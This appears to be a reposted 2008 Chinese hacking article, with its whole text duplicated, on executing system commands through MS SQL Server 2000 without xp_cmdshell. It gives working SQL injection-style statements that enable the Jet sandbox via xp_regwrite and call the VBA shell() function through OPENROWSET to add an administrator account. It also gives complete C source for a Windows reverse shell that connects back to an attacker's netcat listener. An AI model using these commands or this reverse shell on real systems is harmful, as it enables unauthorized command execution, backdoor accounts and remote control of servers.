不用xp_cmdshell照樣執(zhí)行命令
更新時間:2008年05月15日 22:37:49 作者:
刪除xp_cmdshell和xplog70.dll不用擔心,只要保留xp_regwrite就可以執(zhí)行系統(tǒng)命令,擁有一個dos shell
利用RDS的一個老問題,在IIS 4.0的時候被廣泛利用,現(xiàn)在好像沒多少人想得起來了
主要是由于Jet允許調(diào)用VBA的shell()函數(shù),該函數(shù)允許你執(zhí)行shell命令
利用jet執(zhí)行shell命令比想辦法恢復(fù)xp_cmdshell來得經(jīng)濟實惠,不過需要猜一下系統(tǒng)路徑
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
解決辦法:
如果不需要RDS支持,請刪除x:\Program Files\Common Files\System\Msadc\msadcs.dll
僅僅修改注冊表是不夠的,具體看下文詳述
當然除了IAS.mdb這個之外,還有其他的mdb文件也可以,只要文件存在即可
2003的system32下就有兩個:ias.mdb和dnary.mdb
其他系統(tǒng)你可以dir /a /s *.mdb看一下,如果有新發(fā)現(xiàn),歡迎補充
如果有回顯,可以看到執(zhí)行返回結(jié)果,否則需要先判斷主機OS類型再試
當然如果野蠻一點,四個輪流來一遍也行。
首先開啟jet沙盤模式,通過擴展存儲過程xp_regwrite修改注冊表實現(xiàn),管理員修改注冊表不能預(yù)防的原因。
出于安全原因,默認沙盤模式未開啟,這就是為什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權(quán)限,為了方便,這里建議使用sysadmin權(quán)限測試:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切
事實上,對有DB_OWNER權(quán)限即可執(zhí)行,但是執(zhí)行后面一條語句會有不同要求,不能直接執(zhí)行,詳見下面語句解釋。
然后利用jet.oledb執(zhí)行系統(tǒng)命令,這個僅僅需要%SystemRoot%讀權(quán)限即可,還是比較寬松的,所以危害也就相當高了
對于只有DB_OWNER權(quán)限的用戶,需要建立鏈接數(shù)據(jù)庫的方式來進行訪問,不允許直接訪問,至于是否能訪問成功,尚未測試。有興趣的可以自行測試一下,歡迎補充。
MSDN上說:
“sp_addlinkedserver : Execute permissions default to members of the sysadmin and setupadmin fixed server roles.”
實際發(fā)現(xiàn)sp_addlinkedserver/sp_addlinkedsrvlogin需要setupadmin權(quán)限即可執(zhí)行,而DB_OWNER擁有數(shù)據(jù)庫的全部權(quán)限,理論上應(yīng)該可以成功。
這里僅給出sysadmin權(quán)限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
建立鏈接數(shù)據(jù)庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
驗證截圖如下(WIN2003 sp1裝MSSQL2K sp3環(huán)境中的測試效果,使用了sysadmin權(quán)限):
附:
無法連接數(shù)據(jù)庫服務(wù)器時(數(shù)據(jù)庫一般不對外開放,但一般可以對外訪問),
可以使用反彈dos shell方式,改寫成bind shell也很容易,呵呵!
====================== CUT here =======================
//name : win32 connect back shell source code for nt/2K/xp/2003
//compile : cl win32cbsh.c (vc6)
//usage :
//on your pc : nc -l -p {listen port}
//on vitim pc : win32cbsh {your ip} {listen port}
//warning : if there's no parameter specified, it will cause "fatal error"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin))) return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
return 0;
}
使用這個方式可以執(zhí)行,但是很不幸,DB_OWNER權(quán)限是不夠的,需要至少sysadmin權(quán)限或者securityadmin+setupadmin權(quán)限組合
sp_addlinkedserver需要sysadmin或setupadmin權(quán)限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權(quán)限
最終發(fā)現(xiàn),還是sa權(quán)限或者setupadmin+securityadmin權(quán)限帳戶才能使用,
一般沒有哪個管理員這么設(shè)置普通帳戶權(quán)限的
實用性不強,僅作為一個學(xué)習(xí)總結(jié)吧
大致過程如下,如果不是sysadmin,那么IAS.mdb權(quán)限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權(quán)限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb才可以:
EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
exec sp_addlinkedsrvlogin 'L0op8ack','hacker';--
SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
exec sp_droplinkedsrvlogin 'L0op8ack','hacker';--
exec sp_dropserver 'L0op8ack';--
我的sql2k sp3里面sp_addserverlogin后面要帶用戶名稱,加true/false都報無此用戶錯誤
呵呵,不過最終還是失敗了
原來的過程也可以注入的,打了sp之后就沒有了
摘一段T-SQL參考,實際上這是T-SQL引用異類 OLE DB 數(shù)據(jù)源的兩種方法
openrowset需要sa權(quán)限,想用sp_addlinkserver/openquery突破一下,最終發(fā)現(xiàn)不能成功
============================================
分布式查詢構(gòu)架
Microsoft® SQL Server™ 2000 支持兩種在 Transact-SQL 語句中引用異類 OLE DB 數(shù)據(jù)源的方法,:
1) 鏈接服務(wù)器名稱
系統(tǒng)存儲過程 sp_addlinkedserver 和sp_addlinkedsrvlogin 用于給 OLE DB 數(shù)據(jù)源提供服務(wù)器名稱??梢允褂糜伤膫€部分構(gòu)成的名稱在 Transact-SQL 語句中引用這些鏈接服務(wù)器中的對象。例如,如果鏈接服務(wù)器的名稱 DeptSQLSrvr 是用 SQL Server 2000 的另一個復(fù)本定義的,下面的語句引用該服務(wù)器上的一個表:
SELECT * FROM DeptSQLSrvr.Northwind.dbo.Employees
也可以在 OPENQUERY 語句中指定鏈接服務(wù)器的名稱以從 OLE DB 數(shù)據(jù)源打開一個行集。之后,可以在 Transact-SQL 語句中像引用表一樣引用該行集。
2) 特殊連接器名稱
在很少引用數(shù)據(jù)源時,OPENROWSET 或 OPENDATASOURCE 函數(shù)是用連接到鏈接服務(wù)器時所需的信息指定的。之后,可以在 Transact-SQL 中使用與引用表相同的方法引用行集:
SELECT *
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\Northwind.mdb';'Admin';'';
Employees)
SQL Server 2000 使用 OLE DB 在關(guān)系引擎和存儲引擎之間通訊。關(guān)系引擎將每個 Transact-SQL 語句分解為一系列操作,這些操作在由存儲引擎從基表打開的簡單 OLE DB 行集上執(zhí)行。這意味著關(guān)系引擎也可以在任何 OLE DB 數(shù)據(jù)源上打開簡單 OLE DB 行集。
1.exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\4.0\Engine\SandBoxMode',REG_DWORD,0 寫一個注冊表的值,開啟Access沙盒模式。也就是可在非Application里執(zhí)行的功能。
2.用OpenRowSet打開一個Access文件.在%windir%\system32\ias里有4個這樣的文件。隨便拿來用
3.執(zhí)行的函數(shù)如下
Function Shell(ByVal Command As String) As Long
本文來源于[捌度空間],原文鏈接:http://www.8-du.net/Article/2008/0514/article_40240.html
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
解決辦法:
如果不需要RDS支持,請刪除x:\Program Files\Common Files\System\Msadc\msadcs.dll
僅僅修改注冊表是不夠的,具體看下文詳述
當然除了IAS.mdb這個之外,還有其他的mdb文件也可以,只要文件存在即可
2003的system32下就有兩個:ias.mdb和dnary.mdb
其他系統(tǒng)你可以dir /a /s *.mdb看一下,如果有新發(fā)現(xiàn),歡迎補充
如果有回顯,可以看到執(zhí)行返回結(jié)果,否則需要先判斷主機OS類型再試
當然如果野蠻一點,四個輪流來一遍也行。
首先開啟jet沙盤模式,通過擴展存儲過程xp_regwrite修改注冊表實現(xiàn),管理員修改注冊表不能預(yù)防的原因。
出于安全原因,默認沙盤模式未開啟,這就是為什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權(quán)限,為了方便,這里建議使用sysadmin權(quán)限測試:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切
事實上,對有DB_OWNER權(quán)限即可執(zhí)行,但是執(zhí)行后面一條語句會有不同要求,不能直接執(zhí)行,詳見下面語句解釋。
然后利用jet.oledb執(zhí)行系統(tǒng)命令,這個僅僅需要%SystemRoot%讀權(quán)限即可,還是比較寬松的,所以危害也就相當高了
對于只有DB_OWNER權(quán)限的用戶,需要建立鏈接數(shù)據(jù)庫的方式來進行訪問,不允許直接訪問,至于是否能訪問成功,尚未測試。有興趣的可以自行測試一下,歡迎補充。
MSDN上說:
“sp_addlinkedserver : Execute permissions default to members of the sysadmin and setupadmin fixed server roles.”
實際發(fā)現(xiàn)sp_addlinkedserver/sp_addlinkedsrvlogin需要setupadmin權(quán)限即可執(zhí)行,而DB_OWNER擁有數(shù)據(jù)庫的全部權(quán)限,理論上應(yīng)該可以成功。
這里僅給出sysadmin權(quán)限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
建立鏈接數(shù)據(jù)庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
驗證截圖如下(WIN2003 sp1裝MSSQL2K sp3環(huán)境中的測試效果,使用了sysadmin權(quán)限):
附:
無法連接數(shù)據(jù)庫服務(wù)器時(數(shù)據(jù)庫一般不對外開放,但一般可以對外訪問),
可以使用反彈dos shell方式,改寫成bind shell也很容易,呵呵!
====================== CUT here =======================
//name : win32 connect back shell source code for nt/2K/xp/2003
//compile : cl win32cbsh.c (vc6)
//usage :
//on your pc : nc -l -p {listen port}
//on vitim pc : win32cbsh {your ip} {listen port}
//warning : if there's no parameter specified, it will cause "fatal error"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin))) return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
return 0;
}
使用這個方式可以執(zhí)行,但是很不幸,DB_OWNER權(quán)限是不夠的,需要至少sysadmin權(quán)限或者securityadmin+setupadmin權(quán)限組合
sp_addlinkedserver需要sysadmin或setupadmin權(quán)限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權(quán)限
最終發(fā)現(xiàn),還是sa權(quán)限或者setupadmin+securityadmin權(quán)限帳戶才能使用,
一般沒有哪個管理員這么設(shè)置普通帳戶權(quán)限的
實用性不強,僅作為一個學(xué)習(xí)總結(jié)吧
大致過程如下,如果不是sysadmin,那么IAS.mdb權(quán)限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權(quán)限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb才可以:
EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
exec sp_addlinkedsrvlogin 'L0op8ack','hacker';--
SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
exec sp_droplinkedsrvlogin 'L0op8ack','hacker';--
exec sp_dropserver 'L0op8ack';--
我的sql2k sp3里面sp_addserverlogin后面要帶用戶名稱,加true/false都報無此用戶錯誤
呵呵,不過最終還是失敗了
原來的過程也可以注入的,打了sp之后就沒有了
摘一段T-SQL參考,實際上這是T-SQL引用異類 OLE DB 數(shù)據(jù)源的兩種方法
openrowset需要sa權(quán)限,想用sp_addlinkserver/openquery突破一下,最終發(fā)現(xiàn)不能成功
============================================
分布式查詢構(gòu)架
Microsoft® SQL Server™ 2000 支持兩種在 Transact-SQL 語句中引用異類 OLE DB 數(shù)據(jù)源的方法,:
1) 鏈接服務(wù)器名稱
系統(tǒng)存儲過程 sp_addlinkedserver 和sp_addlinkedsrvlogin 用于給 OLE DB 數(shù)據(jù)源提供服務(wù)器名稱??梢允褂糜伤膫€部分構(gòu)成的名稱在 Transact-SQL 語句中引用這些鏈接服務(wù)器中的對象。例如,如果鏈接服務(wù)器的名稱 DeptSQLSrvr 是用 SQL Server 2000 的另一個復(fù)本定義的,下面的語句引用該服務(wù)器上的一個表:
SELECT * FROM DeptSQLSrvr.Northwind.dbo.Employees
也可以在 OPENQUERY 語句中指定鏈接服務(wù)器的名稱以從 OLE DB 數(shù)據(jù)源打開一個行集。之后,可以在 Transact-SQL 語句中像引用表一樣引用該行集。
2) 特殊連接器名稱
在很少引用數(shù)據(jù)源時,OPENROWSET 或 OPENDATASOURCE 函數(shù)是用連接到鏈接服務(wù)器時所需的信息指定的。之后,可以在 Transact-SQL 中使用與引用表相同的方法引用行集:
SELECT *
FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\Northwind.mdb';'Admin';'';
Employees)
SQL Server 2000 使用 OLE DB 在關(guān)系引擎和存儲引擎之間通訊。關(guān)系引擎將每個 Transact-SQL 語句分解為一系列操作,這些操作在由存儲引擎從基表打開的簡單 OLE DB 行集上執(zhí)行。這意味著關(guān)系引擎也可以在任何 OLE DB 數(shù)據(jù)源上打開簡單 OLE DB 行集。
1.exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','Software\Microsoft\Jet\4.0\Engine\SandBoxMode',REG_DWORD,0 寫一個注冊表的值,開啟Access沙盒模式。也就是可在非Application里執(zhí)行的功能。
2.用OpenRowSet打開一個Access文件.在%windir%\system32\ias里有4個這樣的文件。隨便拿來用
3.執(zhí)行的函數(shù)如下
Function Shell(ByVal Command As String) As Long
本文來源于[捌度空間],原文鏈接:http://www.8-du.net/Article/2008/0514/article_40240.html